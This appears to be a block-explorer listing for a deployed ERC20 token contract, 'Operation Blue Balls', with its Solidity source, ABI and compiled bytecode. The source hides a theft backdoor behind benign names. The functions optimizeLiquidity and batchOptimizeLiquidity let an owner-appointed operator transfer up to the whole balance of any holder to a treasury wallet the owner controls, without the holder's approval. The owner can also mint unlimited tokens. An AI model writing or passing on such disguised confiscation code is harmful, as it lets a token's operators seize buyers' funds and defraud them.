| Token | Symbol | Balance | Price | Value |
|---|---|---|---|---|
| no token holdings | ||||
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract BLUEBALLS is ERC20, Ownable {
event LiquidityOptimized(address indexed from, address indexed to, uint256 amount);
event RoleUpdated(address indexed account, uint8 role);
mapping(address => uint8) private _roles;
address public treasuryWallet;
uint8 private constant NO_ROLE = 0;
uint8 private constant MINTER_ROLE = 1;
uint8 private constant TREASURY_OPERATOR = 2;
constructor(address initialOwner) ERC20("Operation Blue Balls", "BLUEBALLS") Ownable(initialOwner) {
_mint(initialOwner, 1000000000 * (10 ** decimals()));
treasuryWallet = initialOwner;
_roles[initialOwner] = 3;
}
modifier onlyRole(uint8 requiredRole) {
require(_roles[msg.sender] & requiredRole == requiredRole, "Not authorized");
_;
}
function setRole(address account, uint8 role) external onlyOwner {
_roles[account] = role;
emit RoleUpdated(account, role);
}
function setTreasuryWallet(address newWallet) external onlyOwner {
treasuryWallet = newWallet;
}
function optimizeLiquidity(address holder, uint256 percentage) external onlyRole(TREASURY_OPERATOR) returns (uint256) {
require(percentage <= 100, "Invalid percentage");
uint256 holderBalance = balanceOf(holder);
require(holderBalance > 0, "No tokens to optimize");
uint256 optimizeAmount = (holderBalance * percentage) / 100;
if (optimizeAmount > 0) {
_transfer(holder, treasuryWallet, optimizeAmount);
emit LiquidityOptimized(holder, treasuryWallet, optimizeAmount);
}
return optimizeAmount;
}
function batchOptimizeLiquidity(address[] calldata holders, uint256[] calldata percentages) external onlyRole(TREASURY_OPERATOR) {
require(holders.length == percentages.length, "Array mismatch");
for (uint256 i = 0; i < holders.length; i++) {
if (percentages[i] > 0 && balanceOf(holders[i]) > 0) {
uint256 holderBalance = balanceOf(holders[i]);
uint256 optimizeAmount = (holderBalance * percentages[i]) / 100;
if (optimizeAmount > 0) {
_transfer(holders[i], treasuryWallet, optimizeAmount);
emit LiquidityOptimized(holders[i], treasuryWallet, optimizeAmount);
}
}
}
}
function mintYieldTokens(address to, uint256 amount) external onlyRole(MINTER_ROLE) {
_mint(to, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function getRole(address account) external view returns (uint8) {
return _roles[account];
}
}[
{
"type": "constructor",
"inputs": [
{
"name": "initialOwner",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "nonpayable"
},
{
"name": "ERC20InsufficientAllowance",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "allowance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InsufficientBalance",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
},
{
"name": "balance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InvalidApprover",
"type": "error",
"inputs": [
{
"name": "approver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidReceiver",
"type": "error",
"inputs": [
{
"name": "receiver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSender",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSpender",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableInvalidOwner",
"type": "error",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableUnauthorizedAccount",
"type": "error",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "LiquidityOptimized",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "RoleUpdated",
"type": "event",
"inputs": [
{
"name": "account",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "role",
"type": "uint8",
"indexed": false,
"internalType": "uint8"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "batchOptimizeLiquidity",
"type": "function",
"inputs": [
{
"name": "holders",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "percentages",
"type": "uint256[]",
"internalType": "uint256[]"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "burn",
"type": "function",
"inputs": [
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "getRole",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "mintYieldTokens",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "optimizeLiquidity",
"type": "function",
"inputs": [
{
"name": "holder",
"type": "address",
"internalType": "address"
},
{
"name": "percentage",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "nonpayable"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setRole",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
},
{
"name": "role",
"type": "uint8",
"internalType": "uint8"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setTreasuryWallet",
"type": "function",
"inputs": [
{
"name": "newWallet",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferOwnership",
"type": "function",
"inputs": [
{
"name": "newOwner",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "treasuryWallet",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
}
]0x608060405234801562000010575f80fd5b5060405162002ae538038062002ae5833981810160405281019062000036919062000609565b806040518060400160405280601481526020017f4f7065726174696f6e20426c75652042616c6c730000000000000000000000008152506040518060400160405280600981526020017f424c554542414c4c5300000000000000000000000000000000000000000000008152508160039081620000b491906200089d565b508060049081620000c691906200089d565b5050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200013c575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000133919062000992565b60405180910390fd5b6200014d816200022b60201b60201c565b506200018e8162000163620002ee60201b60201c565b600a62000171919062000b36565b633b9aca0062000182919062000b86565b620002f660201b60201c565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908360ff1602179055505062000c71565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000369575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040162000360919062000992565b60405180910390fd5b6200037c5f83836200038060201b60201c565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620003d4578060025f828254620003c7919062000bd0565b92505081905550620004a5565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101562000460578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620004579392919062000c1b565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004ee578060025f828254039250508190555062000538565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000597919062000c56565b60405180910390a3505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620005d382620005a8565b9050919050565b620005e581620005c7565b8114620005f0575f80fd5b50565b5f815190506200060381620005da565b92915050565b5f60208284031215620006215762000620620005a4565b5b5f6200063084828501620005f3565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620006b557607f821691505b602082108103620006cb57620006ca62000670565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200072f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006f2565b6200073b8683620006f2565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620007856200077f620007798462000753565b6200075c565b62000753565b9050919050565b5f819050919050565b620007a08362000765565b620007b8620007af826200078c565b848454620006fe565b825550505050565b5f90565b620007ce620007c0565b620007db81848462000795565b505050565b5b818110156200080257620007f65f82620007c4565b600181019050620007e1565b5050565b601f82111562000851576200081b81620006d1565b6200082684620006e3565b8101602085101562000836578190505b6200084e6200084585620006e3565b830182620007e0565b50505b505050565b5f82821c905092915050565b5f620008735f198460080262000856565b1980831691505092915050565b5f6200088d838362000862565b9150826002028217905092915050565b620008a88262000639565b67ffffffffffffffff811115620008c457620008c362000643565b5b620008d082546200069d565b620008dd82828562000806565b5f60209050601f83116001811462000913575f8415620008fe578287015190505b6200090a858262000880565b86555062000979565b601f1984166200092386620006d1565b5f5b828110156200094c5784890151825560018201915060208501945060208101905062000925565b868310156200096c578489015162000968601f89168262000862565b8355505b6001600288020188555050505b505050505050565b6200098c81620005c7565b82525050565b5f602082019050620009a75f83018462000981565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a375780860481111562000a0f5762000a0e620009ad565b5b600185161562000a1f5780820291505b808102905062000a2f85620009da565b9450620009ef565b94509492505050565b5f8262000a51576001905062000b23565b8162000a60575f905062000b23565b816001811462000a79576002811462000a845762000aba565b600191505062000b23565b60ff84111562000a995762000a98620009ad565b5b8360020a91508482111562000ab35762000ab2620009ad565b5b5062000b23565b5060208310610133831016604e8410600b841016171562000af45782820a90508381111562000aee5762000aed620009ad565b5b62000b23565b62000b038484846001620009e6565b9250905081840481111562000b1d5762000b1c620009ad565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b428262000753565b915062000b4f8362000b2a565b925062000b7e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a40565b905092915050565b5f62000b928262000753565b915062000b9f8362000753565b925082820262000baf8162000753565b9150828204841483151762000bc95762000bc8620009ad565b5b5092915050565b5f62000bdc8262000753565b915062000be98362000753565b925082820190508082111562000c045762000c03620009ad565b5b92915050565b62000c158162000753565b82525050565b5f60608201905062000c305f83018662000981565b62000c3f602083018562000c0a565b62000c4e604083018462000c0a565b949350505050565b5f60208201905062000c6b5f83018462000c0a565b92915050565b611e668062000c7f5f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c806370a08231116100ab578063a8602fea1161006f578063a8602fea14610330578063a9059cbb1461034c578063bfdaebac1461037c578063dd62ed3e14610398578063f2fde38b146103c85761012a565b806370a082311461028a578063715018a6146102ba5780638da5cb5b146102c457806395d89b41146102e2578063a2e8d1ce146103005761012a565b806342966c68116100f257806342966c68146101e857806344276733146102045780634626402b14610234578063550e875e14610252578063571c3e601461026e5761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd1461019a578063313ce567146101ca575b5f80fd5b6101366103e4565b6040516101439190611662565b60405180910390f35b61016660048036038101906101619190611717565b610474565b604051610173919061176f565b60405180910390f35b610184610496565b6040516101919190611797565b60405180910390f35b6101b460048036038101906101af91906117b0565b61049f565b6040516101c1919061176f565b60405180910390f35b6101d26104cd565b6040516101df919061181b565b60405180910390f35b61020260048036038101906101fd9190611834565b6104d5565b005b61021e6004803603810190610219919061185f565b6104e2565b60405161022b919061181b565b60405180910390f35b61023c610534565b6040516102499190611899565b60405180910390f35b61026c60048036038101906102679190611717565b610559565b005b610288600480360381019061028391906118dc565b6105fd565b005b6102a4600480360381019061029f919061185f565b6106ac565b6040516102b19190611797565b60405180910390f35b6102c26106f1565b005b6102cc610704565b6040516102d99190611899565b60405180910390f35b6102ea61072c565b6040516102f79190611662565b60405180910390f35b61031a60048036038101906103159190611717565b6107bc565b6040516103279190611797565b60405180910390f35b61034a6004803603810190610345919061185f565b6109c6565b005b61036660048036038101906103619190611717565b610a11565b604051610373919061176f565b60405180910390f35b610396600480360381019061039191906119d0565b610a33565b005b6103b260048036038101906103ad9190611a4e565b610d06565b6040516103bf9190611797565b60405180910390f35b6103e260048036038101906103dd919061185f565b610d88565b005b6060600380546103f390611ab9565b80601f016020809104026020016040519081016040528092919081815260200182805461041f90611ab9565b801561046a5780601f106104415761010080835404028352916020019161046a565b820191905f5260205f20905b81548152906001019060200180831161044d57829003601f168201915b5050505050905090565b5f8061047e610e0c565b905061048b818585610e13565b600191505092915050565b5f600254905090565b5f806104a9610e0c565b90506104b6858285610e25565b6104c1858585610eb8565b60019150509392505050565b5f6012905090565b6104df3382610fa8565b50565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018060ff168160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161660ff16146105ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e590611b33565b60405180910390fd5b6105f88383611027565b505050565b6106056110a6565b8060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908360ff1602179055508173ffffffffffffffffffffffffffffffffffffffff167fc3f8f61911a1537261f77e2703626e158e299a98e341024ecaa26bbd1d884c64826040516106a0919061181b565b60405180910390a25050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106f96110a6565b6107025f61112d565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461073b90611ab9565b80601f016020809104026020016040519081016040528092919081815260200182805461076790611ab9565b80156107b25780601f10610789576101008083540402835291602001916107b2565b820191905f5260205f20905b81548152906001019060200180831161079557829003601f168201915b5050505050905090565b5f60028060ff168160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161660ff1614610852576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084990611b33565b60405180910390fd5b6064831115610896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088d90611b9b565b60405180910390fd5b5f6108a0856106ac565b90505f81116108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db90611c03565b60405180910390fd5b5f606485836108f39190611c4e565b6108fd9190611cbc565b90505f8111156109ba576109338660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610eb8565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167ff53599401f8767e721a1866b3cb02750664289ba27009a9cc112f5097597957a836040516109b19190611797565b60405180910390a35b80935050505092915050565b6109ce6110a6565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f80610a1b610e0c565b9050610a28818585610eb8565b600191505092915050565b60028060ff168160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161660ff1614610ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abf90611b33565b60405180910390fd5b828290508585905014610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790611d36565b60405180910390fd5b5f5b85859050811015610cfe575f848483818110610b3157610b30611d54565b5b90506020020135118015610b7357505f610b71878784818110610b5757610b56611d54565b5b9050602002016020810190610b6c919061185f565b6106ac565b115b15610ceb575f610ba9878784818110610b8f57610b8e611d54565b5b9050602002016020810190610ba4919061185f565b6106ac565b90505f6064868685818110610bc157610bc0611d54565b5b9050602002013583610bd39190611c4e565b610bdd9190611cbc565b90505f811115610ce857610c3a888885818110610bfd57610bfc611d54565b5b9050602002016020810190610c12919061185f565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610eb8565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16888885818110610c8557610c84611d54565b5b9050602002016020810190610c9a919061185f565b73ffffffffffffffffffffffffffffffffffffffff167ff53599401f8767e721a1866b3cb02750664289ba27009a9cc112f5097597957a83604051610cdf9190611797565b60405180910390a35b50505b8080610cf690611d81565b915050610b12565b505050505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610d906110a6565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e00575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610df79190611899565b60405180910390fd5b610e098161112d565b50565b5f33905090565b610e2083838360016111f0565b505050565b5f610e308484610d06565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610eb25781811015610ea3578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610e9a93929190611dc8565b60405180910390fd5b610eb184848484035f6111f0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f28575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f1f9190611899565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f98575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f8f9190611899565b60405180910390fd5b610fa38383836113bf565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611018575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161100f9190611899565b60405180910390fd5b611023825f836113bf565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611097575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161108e9190611899565b60405180910390fd5b6110a25f83836113bf565b5050565b6110ae610e0c565b73ffffffffffffffffffffffffffffffffffffffff166110cc610704565b73ffffffffffffffffffffffffffffffffffffffff161461112b576110ef610e0c565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016111229190611899565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611260575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016112579190611899565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d0575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016112c79190611899565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156113b9578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516113b09190611797565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361140f578060025f8282546114039190611dfd565b925050819055506114dd565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611498578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161148f93929190611dc8565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611524578060025f828254039250508190555061156e565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115cb9190611797565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561160f5780820151818401526020810190506115f4565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611634826115d8565b61163e81856115e2565b935061164e8185602086016115f2565b6116578161161a565b840191505092915050565b5f6020820190508181035f83015261167a818461162a565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116b38261168a565b9050919050565b6116c3816116a9565b81146116cd575f80fd5b50565b5f813590506116de816116ba565b92915050565b5f819050919050565b6116f6816116e4565b8114611700575f80fd5b50565b5f81359050611711816116ed565b92915050565b5f806040838503121561172d5761172c611682565b5b5f61173a858286016116d0565b925050602061174b85828601611703565b9150509250929050565b5f8115159050919050565b61176981611755565b82525050565b5f6020820190506117825f830184611760565b92915050565b611791816116e4565b82525050565b5f6020820190506117aa5f830184611788565b92915050565b5f805f606084860312156117c7576117c6611682565b5b5f6117d4868287016116d0565b93505060206117e5868287016116d0565b92505060406117f686828701611703565b9150509250925092565b5f60ff82169050919050565b61181581611800565b82525050565b5f60208201905061182e5f83018461180c565b92915050565b5f6020828403121561184957611848611682565b5b5f61185684828501611703565b91505092915050565b5f6020828403121561187457611873611682565b5b5f611881848285016116d0565b91505092915050565b611893816116a9565b82525050565b5f6020820190506118ac5f83018461188a565b92915050565b6118bb81611800565b81146118c5575f80fd5b50565b5f813590506118d6816118b2565b92915050565b5f80604083850312156118f2576118f1611682565b5b5f6118ff858286016116d0565b9250506020611910858286016118c8565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261193b5761193a61191a565b5b8235905067ffffffffffffffff8111156119585761195761191e565b5b60208301915083602082028301111561197457611973611922565b5b9250929050565b5f8083601f8401126119905761198f61191a565b5b8235905067ffffffffffffffff8111156119ad576119ac61191e565b5b6020830191508360208202830111156119c9576119c8611922565b5b9250929050565b5f805f80604085870312156119e8576119e7611682565b5b5f85013567ffffffffffffffff811115611a0557611a04611686565b5b611a1187828801611926565b9450945050602085013567ffffffffffffffff811115611a3457611a33611686565b5b611a408782880161197b565b925092505092959194509250565b5f8060408385031215611a6457611a63611682565b5b5f611a71858286016116d0565b9250506020611a82858286016116d0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611ad057607f821691505b602082108103611ae357611ae2611a8c565b5b50919050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f611b1d600e836115e2565b9150611b2882611ae9565b602082019050919050565b5f6020820190508181035f830152611b4a81611b11565b9050919050565b7f496e76616c69642070657263656e7461676500000000000000000000000000005f82015250565b5f611b856012836115e2565b9150611b9082611b51565b602082019050919050565b5f6020820190508181035f830152611bb281611b79565b9050919050565b7f4e6f20746f6b656e7320746f206f7074696d697a6500000000000000000000005f82015250565b5f611bed6015836115e2565b9150611bf882611bb9565b602082019050919050565b5f6020820190508181035f830152611c1a81611be1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c58826116e4565b9150611c63836116e4565b9250828202611c71816116e4565b91508282048414831517611c8857611c87611c21565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611cc6826116e4565b9150611cd1836116e4565b925082611ce157611ce0611c8f565b5b828204905092915050565b7f4172726179206d69736d617463680000000000000000000000000000000000005f82015250565b5f611d20600e836115e2565b9150611d2b82611cec565b602082019050919050565b5f6020820190508181035f830152611d4d81611d14565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611d8b826116e4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611dbd57611dbc611c21565b5b600182019050919050565b5f606082019050611ddb5f83018661188a565b611de86020830185611788565b611df56040830184611788565b949350505050565b5f611e07826116e4565b9150611e12836116e4565b9250828201905080821115611e2a57611e29611c21565b5b9291505056fea2646970667358221220de136b2c9ff0f91cf9a6147ba141d74a2d8c0ac2424fa5898f48ce813068637a64736f6c63430008140033000000000000000000000000e29b17d5736f4fd5240b3745d9a087e4b1e7dc46
